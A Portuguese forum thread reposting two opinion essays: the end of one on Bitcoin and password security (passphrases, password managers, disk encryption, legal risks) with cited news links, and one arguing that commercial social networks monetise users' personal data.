Infelizmente, temos de usar tantas passwords que se torna muito tentador usar a mesma em todo o lado, e escolher uma pequena, fácil de lembrar e de escrever. É um erro. Não sabemos como ficam guardadas nos sites onde as usamos. A Sony, por exemplo, guardava as passwords dos clientes em texto simples (5). E mesmo quando guardam apenas o hash da password, como fazia o MtGox (6), se a password for simples é fácil descobri-la (7). Por isso eu uso uma frase secreta para os ficheiros encriptados. Uma frase é fácil de lembrar e suficientemente longa para ser criptograficamente segura. E uso o Password Safe para gerar passwords diferentes, ao acaso, em todos os sites que precisar. Como nem tenho de as decorar, porque posso ir sempre copiá-las ao Password Safe, podem ser tão complexas quanto quiser (15 caracteres, com maiúsculas, minúsculas e algarismos). Mesmo que alguém copie o ficheiro com as passwords, está encriptado com a tal frase e não lhes serve de nada.

Isto não é 100% garantido. Os sinais dos teclados sem fios podem ser interceptados, o sistema operativo pode guardar vestígios das palavras secretas no disco* e a maioria das passwords pode ser descoberta com dois gajos grandes e um barrote. Mas ter notas em casa também não é 100% garantido. Nem sequer o dinheiro no banco está garantido. Por isso parece-me que o dinheiro criptográfico ainda pode ser o mais seguro, desde que se tenha algum cuidado. O maior risco é legal. A EFF deixou de aceitar donativos em Bitcoins porque considera os riscos legais demasiado grandes (8) e, mais cedo ou mais tarde, é natural que alguém vá tentar usar a força da lei para acabar com isto. A questão é como vão proibir as pessoas de dar valor a um sistema monetário arbitrário sem deixar de dar valor aos outros, igualmente arbitrários.

Da maneira como andam as finanças internacionais, parece-me que um sistema monetário independente de bancos e governos é a nossa única esperança. Suspeito que, se não pusermos isto a funcionar, o próximo dinheiro que vamos usar será caricas de Nuka-Cola.

* Mas o Truecrypt permite encriptar o disco todo, resolvendo este problema.

1- TNW, Close to US$500k stolen in first major Bitcoin thefthttp://thenextweb.com/insider/2011/06/15/close-to-us500k-stolen-in-first-major-bitcoin-theft/
2- Venture Beat, Bitcoin-stealing trojan spotted in the wildhttp://venturebeat.com/2011/06/17/bitcoin-trojan-steal/
3- Um exemplo, entre os muitos milhões em fraudes bancárias todos os anos: Krebs on Security, Court: Passwords + Secret Questions = ‘Reasonable’ eBanking Security, via Schneier on Security.http://krebsonsecurity.com/2011/06/court-passwords-secret-questions-reasonable-ebanking-security/
4- Mas há formas de criar contractos de transferência sem precisar de intermediários nem de confiar em ninguém: Contracts.[url]https://en.bitcoin.it/wiki/Contracts/url]
5- Ars Technica, Sony hacked yet again, plaintext passwords, e-mails, DOB posted.http://arstechnica.com/tech-policy/2011/06/sony-hacked-yet-again-plaintext-passwords-posted/
6- Venture Beat, Popular Bitcoin exchange Mt. Gox hacked, prices drop to pennieshttp://venturebeat.com/2011/06/19/popular-bitcoin-exchange-mt-gox-hacked-prices-drop-to-pennies/
7- Vijay's Tech Encounters, GPU Password Cracking – Bruteforceing a Windows Password Using a Graphic Card.https://mytechencounters.wordpress.com/2011/04/03/gpu-password-cracking-crack-a-windows-password-using-a-graphic-card/
8- Electronic Frontier Foundation, EFF and Bitcoin, via o Friendfeed do José Furtadohttps://www.eff.org/deeplinks/2011/06/eff-and-bitcoin
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Re: INFORMÁTICA

Mensagempor Fulano_de_tal » 19 fev 2015, 19:46

REDES SOCIAIS




As redes sociais já existem há muito tempo. Talvez até precedam a nossa espécie, dependendo da definição. Mas o termo é recente e, em vez de referir o que parece significar – a rede de indivíduos e as suas relações sociais – refere um conjunto de meios de comunicação substancialmente diferentes daquilo que estamos habituados a usar. Infelizmente, além do equívoco no termo há também um equívoco acerca do que estas “redes sociais” têm de diferente.

Confundindo a rede social com estes serviços de comunicação, há quem defenda que os “amigos” no Facebook têm de ser mesmo amigos a sério e que o valor das “redes sociais” depende de escolher criteriosamente quem é que fica na lista que aparece ao carregar no desenho de um botão. Presumem que o Google+, Facebook, LinkedIn e afins devem reflectir as nossas relações de amizade, profissão ou família. Mas não é claro porquê. É natural que as listas de endereços de email ou números de telefone que nós guardamos correspondam às nossas relações mais próximas, pois só temos interesse em guardar essas. Mas estes serviços que se apresentam como redes sociais são fundamentalmente diferentes do telemóvel, cliente de email ou agenda onde mantemos os nossos contactos.

Há diferenças sociais e tecnológicas entre estes serviços modernos, dos blogs ao Twitter, e o que havia há vinte anos. As BBS não tinham tanta bonecada nem esperava encontrar a minha mãe no Gopher ou nos newsgroups. Mas o que faço hoje no blog ou no Facebook é fundamentalmente o mesmo que já fazia nos anos 90 em listas de discussão. Isto agora é mais prático, mais bonito e menos geek, pelo que se encontra por cá mais gente. Mas o que se passou desde o início da Internet até ás “redes sociais”, ao nível social e tecnológico, foi mais uma evolução gradual do que uma revolução.

A revolução foi comercial, mas essa, por conveniência de quem oferece estes serviços, tem passado despercebida. Até recentemente, fosse por carta, telegrama, telefone ou email, nós mantínhamos contacto com as nossas redes sociais pagando serviços de comunicação. Dos CTT aos ISP, o cliente era quem enviava e recebia as mensagens, e quem prestava esse serviço apenas levava a mensagem de um lado para o outro. Os correios não tiravam fotocópias das cartas, a companhia dos telefones não gravava as nossas conversas e, pelo menos até recentemente, o ISP não ficava com os nossos emails*. A revolução das “redes sociais” foi virar isto ao contrário.

Quando pomos algo no FriendFeed, Facebook ou Blogger, não estamos só a enviar a mensagem para as pessoas da nossa rede social. Estamos, primeiro e sobretudo, a cedê-la a estas empresas, bem como todos os direitos de a usar como bem entenderem. E nem sequer somos clientes dessas empresas. O serviço é gratuito, para nós, precisamente porque somos a mercadoria. No Facebook indicamos criteriosamente quem são os nossos amigos, informação essa que a empresa depois vende aos seus verdadeiros clientes, que fazem publicidade pondo-nos um link à frente a dizer que não sei quantos amigos nossos gostam daquilo. É muito mais eficaz do que se não soubessem quem são os nossos amigos. Estes sistemas são bons se aproveitarmos bem a borla, mas não são as nossas redes sociais. São apenas formas de exploração económica da informação pessoal que lhes quisermos dar.

Sistemas P2P, como o Diaspora (1), podem ser diferentes. Nesses, cada um guarda a sua informação e partilha-a directamente com quem quer, sem precisar de dar todos os detalhes a uma empresa primeiro. Sistemas de cliente e servidor, como o Google+, Facebook, blogs e companhia, são cómodos de usar e úteis para partilhar com toda a gente, mas é preciso ter em mente que aquilo que oferecem de privacidade, selecção de “amigos”, círculos e afins é só fogo de vista, porque tudo o que lá pusermos deixa de estar sob nosso controlo e, por isso, deixa de ser privado.

Aquilo que hoje se chama “redes sociais” não é o que parece. São empresas de publicidade que nos incentivam a partilhar dados pessoais – quem são os nossos amigos, onde moramos, o que gostamos de fazer e assim – para depois venderem essa informação a quem quer fazer publicidade dirigida. Nos meios de comunicação em que mantemos controlo sobre as mensagens e conteúdos, como os telemóveis, telefones, cartas e (algum) correio electrónico, faz sentido organizar as coisas de acordo com as nossas redes sociais, distinguindo amigos, familiares, colegas e conhecidos. Mas nestes meios de comunicação em que tudo fica propriedade de uma empresa não faz sentido fingir que temos privacidade nem detalhar à empresa todas as nossas relações sociais. Por isso, coisas como o Facebook, FriendFeed ou Google+ serão como este blog: onde ponho o que quero mostrar a quem se interessar, seja meu conhecido ou não. Se quero partilhar algo apenas com amigos ou familiares, uso o email ou (aguardando ansiosamente) o Diaspora. Não preciso do Facebook para me dizer quem são os meus amigos.

*Penso que ainda será assim em muitos casos. Uma das razões pelas quais uso a Netcabo para os emails pessoais é a premissa de que eles não têm capacidade de armazenamento para guardar os emails todos eternamente. No entanto, com o outsourcing para “as nuvens” cada vez mais frequente, suspeito que já nem assim me safe...

1-https://joindiaspora.com
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Everyone has a right to be stupid once in awhile. Yet some just abuse the privilege.
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https://www.tovarich.net


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